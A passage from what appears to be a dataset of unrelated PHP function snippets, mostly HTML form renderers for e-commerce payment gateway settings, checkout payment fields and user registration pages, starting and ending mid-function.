\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($transact == $codigoTrans) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$codigoTrans.'\"'.$transactionselected.'>'.$descripcionTrans.'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td colspan=\"2\">\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t<legend>'.$this->l('Commerce configuration').' 2</legend>\n\t\t\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"2\" cellspacing=\"3\" style=\"font-size:12px\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Redsys environment').'</td>\n\t\t\t\t\t\t\t\t\t<td><select style=\"width:150px\" name=\"urltpv2\">\n\t\t\t\t\t\t\t\t\t\t<option value=\"0\"'.$entorno_real_redsys2.'>'.$this->l('Real Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"1\"'.$entorno_t_redsys2.'>'.$this->l('Testing Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"2\"'.$entorno_real_sermepa2.'>'.$this->l('Real Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"3\"'.$entorno_t_sermepa2.'>'.$this->l('Testing Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce name').'</td><td><input type=\"text\" name=\"nombre2\" value=\"'.htmlentities($nombre2, ENT_COMPAT, 'UTF-8').'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Secret Key encryption').'</td><td><input type=\"text\" size=\"25\" maxlength=\"20\" name=\"clave2\" value=\"'.$clave2.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Terminal number').'</td><td><input type=\"text\" style=\"width:20px\" maxlength=\"3\" name=\"terminal2\" value=\"'.$terminal2.'\" style=\"width: 80px;\" /> &nbsp;\n\t\t\t\t\t\t\t\t\t'.$this->l('Currency').' &nbsp; <select style=\"width:130px\" name=\"moneda2\" style=\"width: 80px;\"><option value=\"\"></option>';\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t$monedaselected2 = '';\n\t\t\t\t\t\t\t\t\t\tforeach ($currencies AS $currency) {\n\t\t\t\t\t\t\t\t\t\t\tif ($moneda2 == $currency[\"iso_code_num\"]) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected2 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$monedaselected2 = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$currency['iso_code_num'].'\"'.$monedaselected2.'>'.$currency['name'].'</option>';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce number (FUC)').'</td><td><input type=\"text\" maxlength=\"9\" name=\"codigo2\" value=\"'.$codigo2.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Signature type').'</td><td><input type=\"radio\" name=\"tipofirma2\" id=\"tipofirma_c2\" value=\"1\"'.$tipofirma_c2.'/>&nbsp;'.$this->l('Full').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"radio\" name=\"tipofirma2\" id=\"tipofirma_a2\" value=\"0\"'.$tipofirma_a2.'/>&nbsp;'.$this->l('Full extended').'</td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Transaction type').'</td>\n\t\t\t\t\t\t\t\t<td><select name=\"trans2\" style=\"width: 200px;\"><option value=\"\"></option>';\n\t\t\t\t\t\t\t\t\t$transactionselected2 = '';\n\t\t\t\t\t\t\t\t\tforeach($transactions as $codigoTrans => $descripcionTrans) \n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($transact2 == $codigoTrans) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected2 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected2 = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$codigoTrans.'\"'.$transactionselected2.'>'.$descripcionTrans.'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t</td></tr>\n\t\t\t\t\t<tr><td colspan=\"2\">\n\t\t\t\t\t\t<fieldset>\n\t\t\t\t\t\t<legend>'.$this->l('Commerce configuration').' 3</legend>\n\t\t\t\t\t\t<table border=\"0\" width=\"100%\" cellpadding=\"2\" cellspacing=\"3\" style=\"font-size:12px\">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Redsys environment').'</td>\n\t\t\t\t\t\t\t\t\t<td><select style=\"width:150px\" name=\"urltpv3\">\n\t\t\t\t\t\t\t\t\t\t<option value=\"0\"'.$entorno_real_redsys3.'>'.$this->l('Real Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"1\"'.$entorno_t_redsys3.'>'.$this->l('Testing Redsys').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"2\"'.$entorno_real_sermepa3.'>'.$this->l('Real Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t<option value=\"3\"'.$entorno_t_sermepa3.'>'.$this->l('Testing Sermepa').'</option>\n\t\t\t\t\t\t\t\t\t\t</select>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce name').'</td><td><input type=\"text\" name=\"nombre3\" value=\"'.htmlentities($nombre3, ENT_COMPAT, 'UTF-8').'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Secret Key encryption').'</td><td><input type=\"text\" size=\"25\" maxlength=\"20\" name=\"clave3\" value=\"'.$clave3.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Terminal number').'</td><td><input type=\"text\" style=\"width:20px\" maxlength=\"3\" name=\"terminal3\" value=\"'.$terminal3.'\" style=\"width: 80px;\" /> &nbsp;\n\t\t\t\t\t\t\t\t\t'.$this->l('Currency').' &nbsp; <select style=\"width:130px\" name=\"moneda3\" style=\"width: 80px;\"><option value=\"\"></option>';\t\t\t\t\n\t\t\t\t\t\t\t\t\t$monedaselected3 = '';\n\t\t\t\t\t\t\t\t\tforeach ($currencies AS $currency) {\n\t\t\t\t\t\t\t\t\t\tif ($moneda3 == $currency[\"iso_code_num\"]) \n\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t$monedaselected3 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t$monedaselected3 = '';\n\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$currency['iso_code_num'].'\"'.$monedaselected3.'>'.$currency['name'].'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Commerce number (FUC)').'</td><td><input type=\"text\" maxlength=\"9\" name=\"codigo3\" value=\"'.$codigo3.'\" style=\"width: 200px;\" /></td>\n\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Signature type').'</td><td><input type=\"radio\" name=\"tipofirma3\" id=\"tipofirma_c3\" value=\"1\"'.$tipofirma_c3.'/>&nbsp;'.$this->l('Full').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"radio\" name=\"tipofirma3\" id=\"tipofirma_a3\" value=\"0\"'.$tipofirma_a3.'/>&nbsp;'.$this->l('Full extended').'</td>\n\t\t\t\t\t\t\t<td style=\"height: 25px;\">'.$this->l('Transaction type').'</td>\n\t\t\t\t\t\t\t<td><select name=\"trans3\" style=\"width: 200px;\"><option value=\"\"></option>';\n\t\t\t\t\t\t\t\t\t$transactionselected3 = '';\n\t\t\t\t\t\t\t\t\tforeach($transactions as $codigoTrans => $descripcionTrans) \n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif ($transact3 == $codigoTrans) \n\t\t\t\t\t\t\t\t\t\t\t{ \n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected3 = ' selected=\"selected\" ';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\t\t$transactionselected3 = '';\n\t\t\t\t\t\t\t\t\t\t\t$this->_html .= '<option value=\"'.$codigoTrans.'\"'.$transactionselected3.'>'.$descripcionTrans.'</option>';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$this->_html .= '</select>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t\t</fieldset>\n\t\t\t\t\t</td></tr>\t\t\t\t\t\n\t\t\t\t</table>\n\t\t\t</fieldset>\n\t\t\t<br>\n\t\t\t<fieldset>\n\t\t\t<legend><img src=\"../img/admin/cog.gif\" />'.$this->l('Customization').'</legend>\n\t\t\t\t<table border=\"0\" width=\"680\" cellpadding=\"0\" cellspacing=\"0\" id=\"form\">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"450\" style=\"height: 25px;\">'.$this->l('Multicurrency activation (only in stores with more than one terminal)').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"multimoneda\" id=\"multimoneda_1\" value=\"1\"'.$multimoneda_s.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"multimoneda\" id=\"multimoneda_0\" value=\"0\"'.$multimoneda_n.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"450\" style=\"height: 25px;\">'.$this->l('HTTP notification (if disabled not process order and empty your cart)').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"notificacion\" id=\"notificacion_1\" value=\"1\"'.$notificacion_s.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"notificacion\" id=\"notificacion_0\" value=\"0\"'.$notificacion_n.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"340\" style=\"height: 25px;\">'.$this->l('URL validation with SSL').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"ssl\" id=\"ssl_1\" value=\"si\" '.$ssl_si.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"ssl\" id=\"ssl_0\" value=\"no\" '.$ssl_no.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"340\" style=\"height: 25px;\">'.$this->l('On error, allowing choose another payment method').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"error_pago\" id=\"error_pago_1\" value=\"si\" '.$error_pago_si.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"error_pago\" id=\"error_pago_0\" value=\"no\" '.$error_pago_no.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td width=\"340\" style=\"height: 25px;\">'.$this->l('Enable languages in POS').'</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"idiomas_estado\" id=\"idiomas_estado_si\" value=\"si\" '.$idiomas_estado_si.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/enabled.gif\" alt=\"'.$this->l('Enabled').'\" title=\"'.$this->l('Enabled').'\" />\n\t\t\t\t\t\t\t<input type=\"radio\" name=\"idiomas_estado\" id=\"idiomas_estado_no\" value=\"no\" '.$idiomas_estado_no.'/>\n\t\t\t\t\t\t\t<img src=\"../img/admin/disabled.gif\" alt=\"'.$this->l('Disabled').'\" title=\"'.$this->l('Disabled').'\" />\n\t\t\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t</fieldset>\n\t\t\t<br>\n\t\t<input class=\"button\" name=\"btnSubmit\" value=\"'.$this->l('Save configuration').'\" type=\"submit\" />\n\t\t</form>';\n\t}", "public function payment_fields() {\n\n\t\t$this->log( 'Show Payment fields on the checkout page' );\n\n\t\t$referer = isset( $_SERVER['HTTP_REFERER'] ) ? $_SERVER['HTTP_REFERER'] : \"\";\n\n\t\t$this->log( 'Received GET data from [' . $referer. ']:' );\n\t\t$this->log( print_r($_GET, true ) );\n\n\t\t$this->log( 'Received POST data from [' . $referer. ']:' );\n\t\t$this->log( print_r($_POST, true ) );\n\n\t\tif ( $this->description ) {\n\t\t\techo wpautop( wp_kses_post( $this->description ) );\n\t\t}\n\t}", "private function genRegistration()\n {\n ob_start(); ?>\n <form name=\"login\" action=\"./\" method=\"post\">\n <fieldset class=\"uk-fieldset\">\n <legend class=\"uk-legend\">[[legend]]</legend>\n <div class=\"uk-margin\">\n <div class=\"uk-margin-small-bottom\">\n <div class=\"uk-inline\">\n <span class=\"uk-form-icon\" uk-icon=\"icon: user\"></span>\n <input class=\"uk-input\" type=\"text\" name=\"username\" value=\"[[value_username]]\"\n placeholder=\"[[placaholder_username]]\">\n </div>\n </div>\n <div class=\"uk-margin-small-bottom\">\n <div class=\"uk-inline\">\n <span class=\"uk-form-icon\" uk-icon=\"icon: mail\"></span>\n <input class=\"uk-input\" type=\"email\" name=\"email\" value=\"[[value_email]]\"\n placeholder=\"[[placaholder_email]]\">\n </div>\n </div>\n <div class=\"uk-margin-small-bottom\">\n <div class=\"uk-inline\">\n <span class=\"uk-form-icon\" uk-icon=\"icon: lock\"></span>\n <input class=\"uk-input\" type=\"password\" name=\"password\" placeholder=\"[[placaholder_password]]\">\n </div>\n </div>\n <div class=\"uk-margin-small-bottom\">\n <div class=\"uk-inline\">\n <span class=\"uk-form-icon\" uk-icon=\"icon: lock\"></span>\n <input class=\"uk-input\" type=\"password\" name=\"confirm\" placeholder=\"[[placaholder_confirm]]\">\n </div>\n </div>\n <p>[[terms_and_conditions_text]] <a href=\"../privacy-policy/\">[[terms_and_conditions_link]]</a></p>\n <div class=\"uk-margin-bottom\">\n <input type=\"hidden\" name=\"action\" value=\"registration\">\n <button class=\"uk-button uk-button-default\">[[submit_text]]</button>\n </div>\n </div>\n <p>[[login_text]] <span uk-icon=\"icon: link\"></span> <a href=\"../login/\">[[login_link]]</a></p>\n </fieldset>\n </form>\n <?php return ob_get_clean();\n }", "public function setup_form() {\n\t\t?>\n\t\t<tr>\n\t\t\t<td colspan=\"2\">\n\t\t\t\t<p>\n\t\t\t\t\t<label for=\"wpsc-manual-gateway-setup\"><?php _e( 'Instructions', 'wpsc' ); ?></label><br />\n\t\t\t\t\t<textarea id=\"wpsc-manual-gateway-setup\" cols='' rows='10' name='<?php echo esc_attr( $this->setting->get_field_name( 'payment_instructions' ) ); ?>'><?php echo esc_textarea( wp_unslash( $this->setting->get( 'payment_instructions' ) ) ); ?></textarea><br />\n\t\t\t\t\t<small><?php _e('Enter the payment instructions that you wish to display to your customers when they make a purchase.', 'wpsc'); ?></small><br />\n\t\t\t\t\t<small><?php _e('For example, this is where you the Shop Owner might enter your bank account details or address so that your customer can make their manual payment.', 'wpsc'); ?></small>\n\t\t\t\t</p>\n\t\t\t</td>\n\t\t</tr>\n\t\t<?php\n\t}", "public function RegistrationUnderApproval() {\n $this->Render();\n }", "public function _getPaymentMethodsHtml() {\r\n\t\t//$this->_cleanLayoutCache();\r\n\t\t$layout = $this->getLayout();\t\t\r\n\t\t$update = $layout->getUpdate();\r\n\t\t$update->load('onestepcheckout_onestepcheckout_paymentmethod');\r\n\t\t$layout->generateXml();\r\n\t\t$layout->generateBlocks();\r\n\t\t$output = $layout->getOutput();\r\n\t\treturn $output;\r\n\t}", "public function display() {\n $actions = array();\n $html = '';\n if ( !$this->get_client_id() || !$this->get_client_secret() ) {\n $html .= $this->get_client_secret_form_view();\n } else {\n $this->oauth_access();\n\n if ( $this->is_connected() ) {\n $html .= $this->get_profile_details_view();\n\n $html .= $this->get_timezone_info_view();\n\n $html .= $this->get_options_form_view();\n\n $actions[] = 'logout';\n } else {\n $html .= $this->get_access_form_view();\n }\n\n $actions[] = 'delete-secret';\n }\n\n if ( !!$actions ) {\n $args = array(\n 'actions' => $actions,\n 'google_calendar' => $this,\n );\n\n $html .= $this->get_view( 'actions.php', $args );\n }\n\n echo $html;\n }", "public static function paymentsense_settings_form() {\r\n\t\t$output = \"\r\n \t<tr class='firstrowth'>\r\n \t\t<td style='border-bottom: medium none;' colspan='2'>\r\n \t\t\t<strong class='form_group'>Paymentsense Gateway Settings</strong><br>\r\n \t\t</td>\r\n \t</tr>\t\r\n \t<tr>\r\n \t\t<td>Merchant ID:</td>\r\n \t\t<td>\r\n \t\t<input type='text' size='40' value='\" . get_option( 'paymentsense_id' ) . \"' name='paymentsense_id' />\r\n \t\t</td>\r\n \t</tr>\r\n \t<tr>\r\n \t\t<td>Merchant Password:</td>\r\n \t\t<td>\r\n \t\t<input type='password' size='28' value='\" . get_option( 'paymentsense_password' ) . \"' name='paymentsense_password' />\r\n \t\t</td>\r\n \t</tr>\r\n \t<tr>\r\n \t\t<td>Pre-shared Key:</td>\r\n \t\t<td>\r\n \t\t<input type='text' size='28' value='\" . get_option( 'paymentsense_preshared_key' ) . \"' name='paymentsense_preshared_key' />\r\n \t\t</td>\r\n \t</tr>\r\n \t<tr>\r\n \t\t<td>&nbsp;</td>\r\n \t\t<td>&nbsp;</td>\r\n \t</tr>\r\n \t<tr class='firstrowth'>\r\n \t\t<td colspan='2'>\r\n \t\t\t<strong class='form_group'>Paymentsense Links</strong>\r\n \t\t</td>\r\n \t</tr>\r\n \t<tr>\r\n \t\t<td colspan=\\\"2\\\"><a href=\\\"https://mms.paymentsensegateway.com\\\">Paymentsense Merchant Management System (MMS)</a></td>\r\n \t</tr>\r\n \t<tr>\r\n \t\t<td colspan=\\\"2\\\"><a href=\\\"http://www.paymentsense.com/\\\">Paymentsense website</a></td>\r\n \t</tr>\r\n \t\";\r\n\t\treturn $output;\r\n\t}", "public function payment_fields() {\r\n\t\tif (!empty($this->description)) {\r\n\t\t\techo $this->add_next_line($this->description . '<br /><br />');\r\n\t\t}\r\n\t\techo __('Payment Method', 'ecpay') . ' : ';\r\n\t\techo $this->add_next_line('<select name=\"ecpay_choose_payment\">');\r\n\t\tforeach ($this->ecpay_payment_methods as $payment_method) {\r\n\t\t\techo $this->add_next_line(' <option value=\"' . $payment_method . '\">');\r\n\t\t\techo $this->add_next_line(' ' . $this->get_payment_desc($payment_method));\r\n\t\t\techo $this->add_next_line(' </option>');\r\n\t\t}\r\n\t\techo $this->add_next_line('</select>');\r\n\t}", "public function payment_fields() {\n\t\t$user = wp_get_current_user();\n\t\t$display_tokenization = $this->supports( 'tokenization' ) && is_checkout();\n\t\t$total = WC()->cart->total;\n\n\t\tif ( $user->ID ) {\n\t\t\t$user_email = get_user_meta( $user->ID, 'billing_email', true );\n\t\t\t$user_email = $user_email ? $user_email : $user->user_email;\n\t\t} else {\n\t\t\t$user_email = '';\n\t\t}\n\n\t\techo '<div\n\t\t\tid=\"xendit-payment-data\"\n\t\t\tdata-description=\"\"\n\t\t\tdata-email=\"' . esc_attr( $user_email ) . '\"\n\t\t\tdata-amount=\"' . esc_attr( $this->get_xendit_amount( $total ) ) . '\"\n\t\t\tdata-name=\"' . esc_attr( $this->statement_descriptor ) . '\"\n\t\t\tdata-currency=\"' . esc_attr( strtolower( get_woocommerce_currency() ) ) . '\"\n\t\t\tdata-locale=\"' . esc_attr( 'en' ) . '\"\n\t\t\tdata-image=\"' . esc_attr( $this->xendit_checkout_image ) . '\"\n\t\t\tdata-allow-remember-me=\"' . esc_attr( $this->saved_cards ? 'true' : 'false' ) . '\">';\n\n\t\tif ( $this->description ) {\n\t\t\techo apply_filters( 'wc_xendit_description', wpautop( wp_kses_post( $this->description ) ) );\n\t\t}\n\n\t\tif ( $display_tokenization ) {\n\t\t\t$this->tokenization_script();\n\t\t}\n\n\t\t$this->form();\n\t\techo '</div>';\n\t}", "function receipt_page( $order ) {\n\n $result = $this->process_payment($order);\n echo $this->build_gateway_form( $result );\n }", "public function agreementPage()\n\t{\n $currentUser = $this->getCurrentUser(true);\n\n $this->putComponent(\"validation\", \"icheck\", \"select2\");\n $this->putScript(\"scripts/pages/agreement\");\n\n $user_language = $currentUser->getLanguage()->code;\n\n //if (!parent::template_exists(\"pages/agreement/{$user_language}.tpl\")) {\n $user_language = $this->translate->getSystemLanguageCode();\n //} else {\n //parent::display('pages/agreement/default.tpl');\n //}\n parent::display(\"pages/agreement/{$user_language}.tpl\");\n \n\t}", "public function payment_fields(){\r\n if($this->description) echo wpautop(wptexturize($this->description));\r\n }", "public function render() {\n $formContainsRequiredFields = FALSE;\n $htmlElements = array();\n\n foreach($this->elements as $element) {\n if(!$this->getMarkRequiredFields()) {\n $element['object']->markIfRequired(FALSE);\n }\n\n if($element['object']->isRequired()) $formContainsRequiredFields = TRUE;\n $element['object']->render();\n if($element['object']->errorOccured()) $this->setError(TRUE);\n\n $htmlElements[] = $element['object']->fetch();\n $this->javascripts .= $element['object']->getJavaScripts();\n }\n\n $this->html = implode(\"\\n<span class=\\\"element_separator\\\">&nbsp;</span>\", $htmlElements);\n $preForm = (bool)$this->headline ? FORMWIZARD_PRE_FORM_HEADLINE : FORMWIZARD_PRE_FORM;\n\n $html = NULL;\n\n $html .= '<style type=\"text/css\">@import url('.FORMWIZARD_CSS_URL.\");</style>\\n\";\n $html .= str_replace('{headline}', $this->headline, $preForm);\n $html .= \"\\n\".'<form name=\"'.$this->name.'\" method=\"'.$this->method.'\" action=\"'.$this->action.'\" enctype=\"multipart/form-data\">';\n $html .= \"\\n\".'<input type=\"hidden\" name=\"__'.$this->name.'_submitted\" value=\"1\" />';\n $html .= \"\\n\".$this->html;\n $html .= \"\\n\".'</form>';\n $html .= \"\\n\".'<script type=\"text/javascript\">'.$this->javascripts.'</script>';\n\n if($formContainsRequiredFields && $this->markRequiredFields) {\n $html .= \"\\n\".FORMWIZARD_LEGEND_REQUIRED_FIELD;\n }\n\n $this->html = $html.\"\\n\".FORMWIZARD_POST_FORM;\n\n $this->isRendered = TRUE;\n }", "function payment_fields() {\n\t\t\tif ($this->description) echo wpautop(wptexturize($this->description));\n\t\t}", "function payment_fields() {\n\t\t\tif ($this->description) echo wpautop(wptexturize($this->description));\n\t\t}", "public function form()\n {\n $this->number('month', '贷款月数')\n ->min(1)\n ->max(360)\n ->required();\n $this->number('total', '贷款总额')\n ->required();\n $this->rate('rate', '贷款利率')\n ->required();\n $this->radio('type', '还款方式')\n ->options(Loan::$typeMap)\n ->required();\n\n $this->html('等额本金法与等额本息法并没有很大的优劣之分,大部分是根据每个人的现状和需求而定的。');\n $this->html('<a target=\"_blank\" href=\"https://zhuanlan.zhihu.com/p/61140535\">等额本息和等额本金的区别!</a>');\n }", "function content() {\n echo \"\n <form action='http://{$_SERVER['SERVER_NAME']}/mailmaid/account/register' method='post'>\n <input name='token' type='hidden' value='{$this->params['registerToken']}'>\n <label for='username'>Username</label>\n <input name='username' placeholder='Username' id='username' type='text' required>\n <label for='password'>Password</label>\n <input name='password' placeholder='Password' id='password' type='password' required>\n <label for='role'>Role</label>\n <select name='role' id='role'>\n <option value='1'>Admin</option>\n <option value='2'>Agent</option>\n </select>\n <input type='submit' value='Add Account'>\n </form>\n \";\n }", "public function payment_fields() {\n\t\t\tif (true === $this->description) {\n\t\t\t\techo esc_html($this->description);\n\t\t\t}\n\n\t\t}", "public function payment_fields()\r\n {\r\n \r\n // ok, let's display some description before the payment form\r\n if ($this->description) {\r\n // display the description with <p> tags etc.\r\n echo wpautop(wp_kses_post($this->description));\r\n }\r\n \r\n // I will echo() the form, but you can close PHP tags and print it directly in HTML\r\n echo '<fieldset id=\"wc-' . esc_attr($this->id) . '-cc-form\" class=\"wc-credit-card-form wc-payment-form\" style=\"background:transparent;\">';\r\n \r\n // Add this action hook if you want your custom gateway to support it\r\n do_action('woocommerce_momo_form_start', $this->id);\r\n \r\n // I recommend to use inique IDs, because other gateways could already use #ccNo, #expdate, #cvc\r\n echo '<div class=\"form-row form-row-wide\"><label>Mobile Wallet Provider <span class=\"required\">*</span></label>\r\n\t\t\t\t<select id=\"epaygh_mobile_wallet_network\" name=\"epaygh_mobile_wallet_network\">\r\n\t\t\t\t\t<option name=\"epaygh_mobile_wallet_network\" value=\"mtn\" selected>MTN</option>\r\n\t\t\t\t\t<option name=\"epaygh_mobile_wallet_network\" value=\"airtel\">Airtel</option>\r\n\t\t\t\t\t<option name=\"epaygh_mobile_wallet_network\" value=\"tigo\">Tigo</option>\r\n\t\t\t\t\t<option name=\"epaygh_mobile_wallet_network\" value=\"vodafone\">Vodafone</option>\r\n\t\t\t\t</select>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div class=\"form-row form-row-wide\"><label>Mobile Wallet Number <span class=\"required\">*</span></label>\r\n\t\t\t\t<input id=\"epaygh_mobile_wallet_number\" name=\"epaygh_mobile_wallet_number\" type=\"tel\">\r\n\t\t\t\t</div>\r\n\r\n\t\t\t\t<div class=\"form-row form-row-wide\"><label>Voucher </label>\r\n\t\t\t\t\t<input id=\"epaygh_payment_voucher\" name=\"epaygh_payment_voucher\" type=\"text\" autocomplete=\"off\"><br>\r\n\t\t\t\t\t<span class=\"required\">Leave empty if mobile network is not Vodafone</span>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t\t<div class=\"clear\"></div>';\r\n \r\n do_action('woocommerce_momo_form_end', $this->id);\r\n \r\n echo '<div class=\"clear\"></div></fieldset>';\r\n }", "function view() {\n if($this->active_invoice->isAccessible()) {\n if($this->active_invoice->canView($this->logged_user)) {\n if ($this->request->isMobileDevice()) {\n $payment_options = array();\n\n if ($this->active_invoice->payments()->hasDefinedGateways() && $this->active_invoice->payments()->canMake($this->logged_user) || ($this->logged_user->isFinancialManager())) {\n $payment_options[] = \"<a href='\" . $this->active_invoice->payments()->getAddUrl().\"' class='make_a_payment_btn'>\" . lang('Make a Payment') . \"</a>\";\n } // if\n\n $this->response->assign(array(\n 'payment_options' => $payment_options,\n 'invoice_template' => new InvoiceTemplate()\n ));\n } else if ($this->request->isWebBrowser()) {\n $this->wireframe->setPageObject($this->active_invoice, $this->logged_user);\n\n if 